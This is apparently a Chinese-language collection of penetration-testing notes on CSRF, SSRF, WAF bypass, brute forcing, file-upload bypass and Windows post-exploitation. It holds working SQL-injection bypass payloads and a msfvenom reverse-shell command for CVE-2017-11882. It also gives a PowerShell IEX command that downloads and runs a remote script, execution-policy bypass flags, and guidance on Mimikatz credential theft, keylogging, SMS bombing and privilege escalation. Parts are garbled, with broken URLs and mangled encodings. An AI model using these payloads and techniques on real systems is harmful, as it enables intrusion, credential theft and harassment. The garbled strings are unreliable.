CSRF (Cross--site request forgery,跨站请求伪造))也被称为 One Click Attack 或者 Session Riding,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与 XSS 非常不同,XSS 利用站点内的信任用户,而 CSRF 则通过伪装成受信任用户请求受信任的网站。与 XSS 攻击相比,CSRF 攻击往往不大流行(因此对其进行防范的资源也相当稀少)也难以防范,所以被认为比 XSS 更具危险性。
CSRF漏洞原理:其实可以这样理解 CSRF:攻击者利用目标用户的身份,以目标用户的名义执行某些非法操作。CSRF 能够做的事情包括:以目标用户的名义发送邮件、发消息,盗取目标用户的账号,甚至购买商品、虚拟货币转账,这会泄露个人隐私并威胁到了目标用户的财产安全。 举个例子,你想给某位用户转账 100 元,那么单击“转账”按钮后,发出的 HTTP 请求会与http:/www.xxbank..com/pay.php?user=xx&money=100类似。而攻击者构造链接 (http:/www.xxbank.com/pay.php?user=hack&money=100),当目标用户访问了该 URL 后,就会自动向 Hack 账号转账 100 元,而且这只涉及目标用户的操作,攻击者并没有获取目标用户的 cookie 或其他信息。 CSRF 的攻击过程有以下两个重点。·目标用户已经登录了网站,能够执行网站的功能。
漏洞描述: CSRF是跨站请求伪造,不攻击网站服务器,而是冒充用户在站内的正常操作。通常由于服务端没有对请求头做严格过滤引起的。CSRF会造成密码重置,用户伪造等问题,可能引发严重后果。绝大多数网站是通过 cookie 等方式辨识用户身份,再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。CSRF攻击会令用户在不知情的情况下攻击自己已经登录的系统。
修复建议 :1、验证请求的Referer是否来自本网站,但可被绕过。
2、在请求中加入不可伪造的token,并在服务端验证token是否一致或正确,不正确 则丢弃拒绝服务。
针对 CSRF 漏洞的修复,笔者给出以下这两点建议:
SSRF (Server--Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起清求的安全漏洞。一般情况下,SSRF 攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统) 。
ssrf漏洞原理:SSRF 的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定 URL 地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF 利用存在缺陷的 Web 应用作为代理攻击远程和本地的服务器。 主要攻击方式如下所示。
SSRF 漏洞利用的测试地址:http:/127.0.0.1/ssrf.php?url=http:/127.0.0.1/2.php (页面 ssrf.php 实现的功能是获取 GET 参数 URL,然后将 URL 的内容返回网页上。 如果将请求的网址篡改为 http: /www.baidu.com,则页面会显示 http: / www.baidu.com 的网页内容,如图所示。)
但是,当设置参数 UL 为内网地址时,则会泄露内网信息,例如,当url=192.168.0.2:3306 时,页面返回“当前地址不允许连接到 MySQL 服务器”,说明 192.168.0.2 存在 MySQL 服务,如图 4-103 所示。
访问 ssrf.php?url=file://C:Vindows/, win.ini 即可读取本地文件,如图所示。
在页面 SSRF.php 中,程序获取 GET 参数 URL,通过 curl init()初始化 curl 组件后,将参数 URL 带入 curl setopt ($ch, CURLOPT URL, $url),然后调用所以 curl-exec 请求该 URL。由于服务端会将 oannerf 信息返回客户端,所以可以根据 banner 判断主机是否存在某些服务,代码如下。
针对 SSRF 漏洞的修复,给出以下这几点建议。
什么是WAF?
WEB应用防火墙 (Web Application Firewall) {定义:通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击。}
WAF的分类
WAF工作原理
WAF指纹识别(常用)
WAF绕过方法
本小本小节主要介绍 SQL 注入漏洞的绕过方法,其余漏洞的 WAF 绕过方法在原理上是差不多的。
在规则匹配时只针对了特定大写或特定小写的情况,在实战中可以通过混合大小写的方式进行绕过(现在几乎没有这样的情况),如下所示。
uNion sElEct 1,2,3,4,5
2. URL编码
极少部分的 WAF 不会对普通字符进行 URL 解码,如下所示。union select 1,2,3,4,5 上 述命令将被编码为如下所示 (%75%6E%69%6F%6E%20%73%65%6%65%63%74%20%31%2℃ %32%2℃%33%2C%34%2C%3)
还有一种情况就是 URL 二次编码,WAF 一般只进行一次解码,而如果目标 Wb 系统的代码中进行了额外的 URL 解码,即可进行绕过。
union select 1,2,3,4,5,上述命令将被编码为如下所示的命令。 %2575%256E%2569%256F%256E%2520%2573%2565%256C%2565%2563%2574%2520%2531%252℃%2532%252C%2533%252C %2534%252C%2535
3. 换关键字
WAF采用 替替换或者删除select/union这类敏感关键饲的时候,如果只匹配次则很容易进行绕过
union slect 1,2,3,4,5
上述命令将转换为如下所示的命令。
unuionion selselectect 1,2,3,4,5
4. 使用注释
截断 SQL 语句中用得比较多,在绕过 WAF 时主要使用其替代空格(/*任意内容*),适用于检测过程中没有识别注释或替换掉了注释的 WAF。
Union select 1,2,3,4,5
上述命令将转换为如下所示的命令。
union/*2333*/select/*aaaa*/1,2,3,4,5
还可以使用内联注释尝试绕过 WAF 的检测。
5. 多参数请求拆分
对于多个参数拼接到同一条$QL 语句中的情况,可以将注入语句分割插入。例如请求 URL 时,GET 参数为如下格式。
a= [input1] &b= [input2]
将 GET 的参数 a 和参数 b 拼接到 SQL 语句中,SQL 语句如下所示。
and a= [input1] and b= [input2] 这时就可以将注入语句进行拆分,如下所示。
a=union/*&b=*/select 1,2,3,4
最终将参数 a 和参数 b 拼接,得到的 SQL 语句如下所示。
and a=union /*and b=*/select 1,2,3,4
6.HTTP 参数污染
HTTP 参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果,具体如表所示(例子以参数 color=-red&color=-blue 为例)
在上述提到的中间线中,川 S 比较容易利用,可以直接分割带逗号的 SQL 语句。在其余的中间线中,如果 WF 只检测了同参数名中的第一个或最后一个,并且中间件特性正好取与 WAF 相反的参数,则可成功绕过。下面以 IS 为例,一般的 SQL 注入语句如下所示。
Inject=union select 1,2,3,4
将 SQL 注入语句转换为以下格式。
Inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4
最终在IIS中读入的参数值将如下所示。
Inject=union/*,*/select/*,*/1,2,3,4
7. 生僻函数
使用生僻函数替代常见的函数,例如在报错注入中使用卵 oy9on()函数替换常用的 updatexml()函数,如下所示。
SELECT polygon ((select*from (select*from (select@@version) f) X));
8. 寻找网站源站IP
对于具有云WAF防护的网站而言,只要找到网站的IP地址,然后通过IP访问网 站,就可以绕过云 WAF 的检测。
常见的寻找网站IP的方法有下面这几种。
9. 注入参数到 cookies中
某些程序员在代码中使用$REQUEST获取参数,而$REQUEST会依次从GET/POST/cookie中获取参数,如果WAF 只检测了GET/POST 而没有检测 cookie,可以将注入语句放入cookie中进行绕过。
暴力破解的产生是由于服务器端没有做限制,导致攻击者可以通过暴力的手段暴力破解的产生是由于破解所需信息,如用户名、密码、验证码等。暴力破解需要一个庞大的字典,如 4 位数字的验证码,那么暴力破解的范围就是 0000~9999,暴力破解的关键在于字典的大小。
靶场实战 – 暴力破解
漏洞描述: 由于没有对登录页面进行相关的人机验证机制,如无验证码、有验证码但可重复利用以及无登录错误次数登录账号和密码。限制等,导致攻击者可通过暴力破解获取用户
修复建议: 1、如果用户登录次数超过设置的阈值,则锁定帐号(有恶意登录锁定帐号的风险)
2、如果某个 IP登录次数超过设置的阈值,则锁定IP
3、增加人机验证机制
4、验证码必须在服务器端进行校验,客户端的一切校验都是不安全的。
场景1-账户探测
场景说明:探测用户名存在与否,用户名穷举
方式一:Top500用户名、手机号
方式二:邮箱、员工编号
场景2-指定口令爆破用户名
1. 指定类123456口令爆破用户名;
2. 正常的top500,top10000帐号;
3. 单个字母、两个字母、三个字母、四个字母随机组合的帐号;
4. 一位数字、二位数字、三位数字、四位数字的随机组合
5. 厂商名相关帐号
a) 如:facebook、fb_steven …
b) 页面联系邮箱的规则学习及自创建
场景3-密码爆破
1. top500, top3000,top10000,自定义密码
a) Top 系列,几乎安全从业都有自己的弱口令字典,常规就好,太大的字典跑起来也费劲,关键是定制
b) 定制字典,pydictor值得推荐:https://github.com/LandGrey/pydictor
` c) 社工库的使用,指定用户的历史密码,是一种尝试
2. 厂商特色口令生成,如baidu@123
a) 适用于应用管理员类人员以及主机协议类密码
b) 更多定制类字典也可以pydicor
c) 使用简单密码和厂商邮箱后缀组合
3. 加密密码暴力破解
a) 普通编码类,如base64
b) 自定义加密算法(目标系统使用了可猜测的加密算法去加密口令) 可参考浮萍写的基于RSA算法加密口令后爆破脚本: https://github.com/fupinglee/MyPython/blob/master/web/RSADemo.py
c) Selenium 自动浏览器提交模块(可适用与不明加密算法,模拟正常操作流
4. 弱文件后的后台爆破
`a) 弱文件爆破获得后台
b) 后台密码爆破
i. 各大中间件及CMS的口令破解,如weblogic 、tomcat
ii. 自定义后台的密码破解
5. Webshell 密码爆破
a) Shell 发现(弱文件以及蛛丝马迹)
b) Shell 爆破(有专用工具,也可用burp完成)
6. 辅助信息
a) Web 源码、JS 以及注释信息中是否包含用户名以及口令指定规则
b) 技术运维人员的桌子上面的便签信息(若能接触到目标内部)…
场景4-登陆验证码爆破
1. 验证码绕过
` a) 验证码非必须参数,可省略
b) 验证码不失效,可多次使用
c) 验证码问题集合答案有限,可以遍历后破解
d) 非空逻辑校验,验证码置空 或 去掉校验参数的请求
e.g. ecshop后台暴力破解验证码绕过
2. 简单验证码识别
https://github.com/fupinglee/CrackCaptcahLogin/releases 类似工具很多,看使用习惯
3. 高模糊度验证码识别
a) 一般的识别流程都是二值化、去干扰、区域选择、OCR识别
b) 可用云打码平台 (不打广告)
场景5-短信/邮箱验证码爆破
1. 部分登录验证码的分类也可适用于此
2. 验证码的本身绕过
a) 返回包回显(包括返回包、输出在cookie等)
b) JS控制
c) 返回包控制:True&false控制(0&1),修改返回包可绕过
3. 4位数字,验证码爆破,很快
4. 6位数字,验证码爆破;可根据多线程的前提进行多进程处理,0-199999一波;200000-399999一波…(依次类推);也可以看频率,哪块区间分布的概率较高可重点关注;也可以指定前一位或两位进行爆破。
5. 弱token
场景6-短信/邮箱验证码爆破
1. 关键参数的的信息遍历(select)
a) 包括用户名
b) ID号
c) 手机号
d) 邮箱
e) 身份证号
f) 订单号
g) 银行卡
h) 信用卡(e.g 携程乌云漏洞)
i. PAN+信用卡到期时间(即:最小的身份验证模块);
ii. PAN+信用卡到期时间+CVV;
iii. PAN+信用卡到期时间+CVV+持卡人地址;
iv. From http://t.cn/Rfrsdki i) …
2. 批量注册(insert)
逻辑不严谨或校验不严格,实现多帐号的薅羊毛
3. 一套组合拳(也可关联到爬虫):
a) 两个常见的功能:密码找回、网站论坛
b) 切入点一:从密码找回功能分析,有相当一部分网站,提供账号检测功能,且提示存在与否,根据友情提示以及次数限定情况,可以通过返回包匹配存在的帐号,包括用户名、甚至手机号(其实主要是手机号)。
c) 切入点二:密码找回功能,输入手机号后会提示…正在找回XXX的密码信息…,这个就是用户名,(若输入用户名,有可能提示正在找回某手机号的密码信息(部分打码))
d) 切入点三:网站论坛,为了交流,以及用户的活跃度,部分网站存在bbs、club等论坛信息,一般二次开发的Discuz 。 上面会存在关于个人的一些数据,比如用户名(论坛网名)、性别、粉丝情况、帖子情况、联系方式、住址(部分需要登录权限)、还有一些倾向数据,比如购物平台关注的商品;
e) 从这三个切入点来讲,单独哪个可能都影响不足够大,没有达到影响的最大化。从一个数据利用者角度分析,最希望得到与平台性质相关的属性,比如交友网站的性别和联系方式信息,房产网站的倾向房产和联系方式等属性。 那把三个切入点的数据整合起来能得到什么呢?
i. 通过用户检测 获得手机号用户个人信息; ii. 通过手机号检测,获得用户名信息; iii. 通过论坛遍历,获得ID和用户名信息; iv. 通过关联以上数据,可以对应手机号------>用户名 ------> 论坛ID,同样也就意味着获得了某手机号的用户关注了什么的信息。
Demo 说明 : 用户:188xxxx8888 用户名:HelloWorld 关注:某别墅 用户:138xxxx9999 用户名:52BMW 关注:宝马X6 用户:159xxxx6666 用户名:HelloKitty 就职某金融企业 用户:186xxxx5555 用户名:独孤求败 购买了大疆无人机 针对Demo数据,从一个数据威胁角度来分析,那可以实现精准营销。带来的场景就是另一片天地。
场景7-爆破关联
1. 数据重放-短信炸弹
a) 无任何限制的短信炸弹
b) 单独手机号存在短信阈值限制,有可能通过间隔符绕过,18888888888,,,与18888888888效果一样;
c) 针对单独手机号有阈值限制,但可随意轮询其他手机号,同样有危害 d) 会导致短信网关的资源浪费和流失
2. 数据重放-邮箱炸弹 相对短信炸弹成本较低,但其逻辑同短信炸弹
3. 子域名爆破 根据自己平台和习惯选择即可:subDomainsBrute、Layer、FuzzDomain
4. 子目录、弱文件爆破
a) 弱文件爆破,对比过老御剑、weakfilescan、dirfuzz、cansian.py 仍然觉得一款基于python3的dirsearch 值得拥有(可自定义字典)
b) 也可以自己写,就是基本的web请求,以及返回包的长度或特征匹配。
5. Fuzzing 测试
a) SQL、XSS
b) 拒绝服务漏洞,例如SPIKE对表单测试特殊字符的异常处理
场景8-协议口令爆破
1. SSH RDP FTP MySQL MSSQL …
a) Fenghuangscan值得推荐,Hydra (Kali自带)值得拥有;
b) Nmap 也可完成部分破解工作,本身是一个基础工具,但script下的脚本能让你做出不基础的事情
c) 毕竟直接拿到远控权限事半功倍,可直接获取数据,对于测试来讲还可获取源码,以半审计的方法进行挖掘。
d) 且有人以此为生(全网抓鸡)
2. SMTP、VPN协议类
a) 第一点提到的一些协议,初具成熟均不公开于互联网(当然意识和测试情况也有),但SMTP 和 VPN 类,大部分都有,也是入侵的概率很大的入口点
i. brut3k1t(github有)
ii. 也有自定义的PY脚本
iii. 小技巧点:部分对同一用户有密码失败次数限制,可把循环颠倒过来,用同密码刷一遍用户,在用下一个口令刷一遍用户…
b) 翻到邮箱,根据信息检索,信息很精准,很有可能获得认证信息
c) 获得VPN认证,在内网搞事,一不小心就干掉了一个大家伙。
3. 特殊服务类未授权访问或者弱认证
a) Redis未授权访问
b) Jenkins未授权访问
c) MongoDB未授权访问
d) ZooKeeper未授权访问
e) Elasticsearch未授权访问
f) Memcache未授权访问
g) Hadoop未授权访问
h) CouchDB未授权访问
i) Docker未授权访问
j) 毕竟这些未授权可以直接getshell或直接获得数据
服务端处理用户登录的代码如下所示,程序获取 POST 参数 username 和参数password,然后在数据库中查询输入的用户名和密码是否存在,如果存在,则登录成功。但是这里没有对登录的次数做限制,所以只要用户一直尝试登录,就可以进行暴力破解。
针对暴力破解漏洞的修复,给出以下两点建议。
1、如果用户登录次数超过设置的阈值,则锁定帐号(有恶意登录锁定帐号的风险)
2、如果某个 IP登录次数超过设置的阈值,则锁定IP
3、增加人机验证机制
4、验证码必须在服务器端进行校验,客户端的一切校验都是不安全的。
现代的互联网的Web应用程序中,文件上传是一种常见的要求,因为它有助于提高业务效率。在Facebook和Twitter等社交网络的Web应用程序中都允许文件上传功能。在博客,论坛,电子银行网络,YouTube和企业支持门户,会给用户和企业员工有效的共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。
什么是文件上传
上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的脚本文件,从而控制整个网站,甚至是服务器。
• 上头像
• 插入图片
• 上传附件
危害
• 网站被控制
• 服务器沦陷
• 同服务器的其他网站沦陷
常见上传检测规则
服务端 MIME 类型检测 ( 检测 Content-Type 内容)
客户端 javascript 检测( 通常为检测文件拓展名)
服务端目录路径检测( 检测跟 path 参数相关的内容 )
服务端文件名拓展名检测( 检测跟文件 estension 相关的内容 )
服务器文件内容检测(检测内容是否合法或含有恶意代码)
服务端MIME检测
服务端MIME类型检测也就是检测Content-Type的内容。
服务端文件名拓展检测
基于黑名单检测:
黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多。一般有个专门的blacklist,里面包含常见的危险脚本文件。
客户端检测
客户端检测通常在上传页面里含有专门检测文件上传的JavaScript代码。最常见的就是检测拓展名是否合法。
判断方式: 在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。
服务端目录路径检测 : 一般是检测路径是否合法,但是稍微特殊一点的都没有防御。检测跟path参数相关的内容。漏洞成因是因为对目录路径的检测不够严谨而导致
服务端文件名拓展检测-绕过办法
文件名大小写绕过(AsP, pHp等等)
黑白名单绕过(php、php2、php3、php5、phtml、asp、aspx、ascx、ashx、cer、asa、jsp、jspx)
特殊文件名绕过
修改数据包里的文件名改为 test.php. 或者 test.asp_ (下划线是空格)由于这种命名格式在windows系统里是不允许的。所以在绕过上传之后 windows系统会自动去掉 点和空格。Unix/Linux系统没有这个特性。
0x00截断绕过
6.0 目录解析 xx.asp/xx.txt(jpg)
7.0/7.5 文件解析 xx.jpg/xx.php
Apache解析漏洞
Apache/2.2.6 xxx.php.xxxxxx
WampServer2.0All Version (Apache 2.2.11) [Success]
WampServer2.1All Version (Apache 2.2.17) [Success]
Wamp5 All Version (Apache 2.2.6) [Success]
AppServ 2.4All Version (Apache 2.0.59) [Success]
AppServ 2.5All Version (Apache 2.2.8) [Success]
AppServ 2.6All Version (Apache 2.2.8) [Success
Nginx解析漏洞
测试版本 :0.7.63
xxx.jpg%00.php
xxx/1.jpg/1.php
测试版本 :0.7.63
文件类型错误 xxx/1.jpg/1.php
1:创建一张图片
2:用Uedit32打开嵌入代码
Nginx 0.5.* [Success]
Nginx 0.6.* [Success]
Nginx 0.7 <= 0.7.65 [Success]
Nginx 0.8 <= 0.8.37 [Success]
php-cgi 解析漏洞
Nginx 1.11.5 / php5.3.29
xxx.jpg/.php
MS17-010
1、首先使用漏洞探测工具探测存在漏洞的机器
发现存在该漏洞的机器
设置攻击模块
CVE-2017-11882
使用msf生成shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xx.xxx LPORT=xxxx -o ./payload.c
使用python脚本生成word:CVE-2017-11882.py -c payload.c -t 0 -i 1 -o test.doc
Msf启动监听
运行word
获得权限
对于渗透,使用PowerShell场景:
第一种我们需要获得免杀或者更好的隐蔽攻击对方的win机器,可以通过钓鱼等方式直接执行命令
第二种我们已经到了对方网络,或是一台DMZ的win机器,那么我们利用PowerShell对内网继续深入
常用的PowerShell攻击工具:
PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期的漏洞利用框架,常用来进行信息探测,特权提升,凭证窃取,持久化等操作。
Nishang:基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种Payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。
Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。
PowerCat:PowerShell版的NetCat,有着网络工具中的”瑞士军刀”美誉,它能通过TCP和UDP在网络中读取数据。通过与其他工具结合和重定向,可以在脚本中以多种方式使用它。
PowerShell简介
PowerShell是一种基于任务的命令行解释器和脚本环境,可以说是一种强大的shell,如同linux的bash,专为系统管理员而设计,以.NET框架为平台,Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。现被更广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避Anti-Virus检测。另外,可以把PowerShell看作命令行提示符cmd.exe的扩充。
PowerShell优点
基于.NET框架 操作系统信任 提供win系列操作系统的几乎一切访问权限 win7之后默认安装 脚本可以运行在内存中,不需要写入磁盘 cmd.exe通常会被安全软件阻止,一般PowerShell不会
启动PowerShell
第一种 win+r启动运行下输入powershell进入
第二种 cmd下输入powershell进入
PowerShell版本
可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看当前系统的PowerShell版本。
PS1文件:一个PowerShell脚本其实就是一个简单的 文本文件,这个文件包含了一系列的 PowerShell命令,每个命令显示为独立的一行,PowerShell文件的后缀为 .PS1。
执行策略:为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。 我们可以使用: Get-ExecutionPolicy 命令查看PowerShell当前的执行策略。它有4个策略。
另外修改PowerShell执行策略:Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行
运行脚本:运行一个脚本,必须键入完整的路径和文件名,例如,你要运行一个名为a.ps1的脚本,可以键入c:\script\a.ps1·
但如果PowerShell脚本文件在你的系统目录中,那么在命令提示符后直接键入脚本文件名即可运行,如.\a.ps1的前面就加上“.\”,这和在Linux下执行Shell脚本的方法一样。
管道:
管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接 例如: 假设停止所有目前运行中的,以“note"字符开头命名的程序 Get-Process note*|stop-process
基本知识:
在PowerShell下,类似“cmd命令”叫做“cmdlet” ,其命令的命名规范很一致,都采用了 动词-名词的形式,如Net-Item,动词一般为Add、New、Get、Remove、Set等。PowerShell还兼容cmd和Linux命令,如查看目录可以使用 dir 或者 ls ,并且PowerShell命令不区分大小写。 后面会以文件操作为例讲解PowerShell命令的基本用法
文件操作类的PowerShell命令:
· 新建目录test:New-Item test -ItemType directory
删除目录test:Remove-Item test
新建文件test.txt:New-Item test1.txt -ItemType file
新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"
查看文件test.txt内容:Get-Content test.txt
设置文件test.txt内容t:Set-Content test.txt -Value "haha" 给文件test.txt追加内容:Add-Content test.txt -Value ",word!"
清除文件test.txt内容:Clear-Content test.txt
删除文件test.txt:Remove-Item test.txt】
绕过执行策略执行PowerShell脚本
如果运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted 在渗透测试时,就需要采用一些方法绕过策略来执行PowerShell脚本,列举如下三种方式
1.绕过本地权限执行
2.本地隐藏绕过权限执行脚本
3.用IEX下载远程PS1脚本绕过权限执行
上传test.ps1到目标主机,在cmd环境下,在目标主机本地当前目录执行该脚本 powershell -exec bypass .\test.ps1
本地隐藏绕过权限执行脚本
powershell.exe -exec bypass -W hidden -nop test.ps1
输入命令执行后会退出命令提示符
用IEX下载远程PS1脚本绕过权限执行
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
PowerShell命令参数说明
对上述命令参数进行说明
ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则;
WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏;
-command(-c):执行powershell脚本;
NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件;
NoLogo:启动不显示版权标志的PowerShell;
Nonlnteractive(-noni):非交互模式;
Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要;
-enc base64: 把ps脚本编码成base64来执行,实战用的最多;
PowerSploit简介:PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。PowerSploit项目地址:https://github.com/PowerShellMafia/PowerSploit
PowerSploit简介:PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。PowerSploit项目地址:https://github.com/PowerShellMafia/PowerSploit
ActivirusBypass:绕过杀毒软件查杀
CodeExecution:在目标主机上执行代码
Exfiltration:目标主机上的信息搜集工具
Mayhem:蓝屏等破坏性的脚本 Persistence:权限维持 Privsec:提权等脚本
Recon:以目标主机为跳板进行内网信息侦查
ScriptModification:在目标主机上创建或修改脚本
PowerSploit安装:下载PowerSploit脚本到服务器,搭建一个简易的WEB服务器。将PowerSploit目录放到WEB目录,使其可以通过HTTP访问到。 这里以kali服务器为例,介绍两种方式 第一种方式: 开启apache服务:service apache2 start 将powersploit目录放到/var/www/html/中 第二种方式: 切换到powersploit目录,然后执行如下命令开启WEB服务器 python3 -m http.server 8080 Git clone https://github.com/PowerShellMafia/PowerSploit
在浏览器中打开WEB服务器地址,如下图所示
PowerSploit脚本攻击实战:PowerSploit提供了各类攻击脚本,数量相当多,这里介绍一些在实战中使用比较多的脚本,其他的大家可以尝试使用。 利用这些脚本一般是通过我们前期获取的目标shell,在命令行中远程下载这些脚本,在目标服务器上使用。 为方便,这里我们直接在目标服务器做这些操作。
Invoke-Shellcode脚本:CodeExecution模块下的Invoke-Sellcode脚本常用于将ShellCode插入本地Powershell中或者指定的进程ID。 直接执行ShellCode反弹Meterpreter Shell 首先在MSF里使用reverse_https模块进行监听
Invoke-Mimikatz 信息收集:Mimikatz本身在内网渗透中作用很大,PowerSploit将其集成到Exfiltration模块下,Mimikatz用来抓取主机密码,注意的是这个脚本的运行需要管理员权限。
然后载入脚本
Get-Keystrokes 键盘记录器
PowerUP攻击模块:Powerup是Privesc模块下的一个脚本,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权。 通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,而今天我将介绍一个非常实用的Powerup模块,此模块可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
如果要查看各个模块的详细说明,可以输入get-help [cmdlet] –full命令查看,比如 Get-Help Invoke-AllChecks -full
下面开始对模块介绍: 1.Invoke-AllChecks
执行所有的脚本来检查。
执行方式: PS C:> Invoke-AllChecks
2.Find-PathDLLHijack
检查当前%PATH%是否存在哪些目录是当前用户可以写入的
执行方式: PS C:>Find-Pathdllhijack
3. Get-ApplicationHost 从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码。
执行方式: PS C:>get-ApplicationHost
PS C:>get-ApplicationHost | Format-Table -Autosize # 列表显示
4. Get-RegistryAlwaysInstallElevated 检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的。 执行方式: PS C:>Get-RegistryAlwaysInstallElevated
5. Get-RegistryAutoLogon 检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码。 执行方式: PS C:> Get-RegistryAutoLogon
6. Get-ServiceDetail 返回某服务的信息。 执行方式: PS C:> Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息
7. Get-ServiceFilePermission 检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的。 执行方式: C:> Get-ServiceFilePermission
8. Test-ServiceDaclPermission 检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象。 执行方式: PS C:>Test-ServiceDaclPermission
9. Get-ServiceUnquoted 检查服务路径,返回包含空格但是不带引号的服务路径。 此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。 比如C:program fileshello.exe ,会被解释为C:program.exe以及C:program fileshello.exe 执行方式: PS C:>Get-ServiceUnquoted
10. Get-UnattendedInstallFile 检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括: c:\sysprep\sysprep.xml c:\sysprep\sysprep.inf c:sysprep.inf c:\windows\Panther\Unattended.xml c:\windows\Panther\UnattendUnattended.xml c:\windows\Panther\Unattend.xml c:\windows\Panther\UnattendUnattend.xml c:\windows\S\ystem32\Sysprep\unattend.xml c:\windows\System32\Sysprep\Panther\unattend.xml 执行方式: PS C:> Get-UnattendedInstallFile
11. Get-ModifiableRegistryAutoRun 检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。 注册表检查的键值为: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService 执行方式: PS C:>Get-ModifiableRegistryAutoRun
12. Get-ModifiableScheduledTaskFile 返回当前用户能够修改的计划任务程序的名称和路径。 执行方式: PS C:>Get-ModifiableScheduledTaskFile
13. Get-Webconfig 返回当前服务器上的web.config文件中的数据库连接字符串的明文。 执行方式: PS C:>get-webconfig
14. Invoke-ServiceAbuse 用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令。 执行方式: PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号 PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号 PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。 PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定义执行命令
15. Restore-ServiceBinary 恢复服务的可执行文件到原始目录。 执行方式: PS C:> Restore-ServiceBinary -ServiceName VulnSVC
16. Test-ServiceDaclPermission 检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。 执行方式: PS C:> Restore-ServiceBinary -ServiceName VulnSVC
17. Write-HijackDll 输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll。
18.Write-UserAddMSI 生成一个安装文件,运行这个安装文件,则弹出添加用户的框。 执行方式: PS C:> Write-UserAddMSI
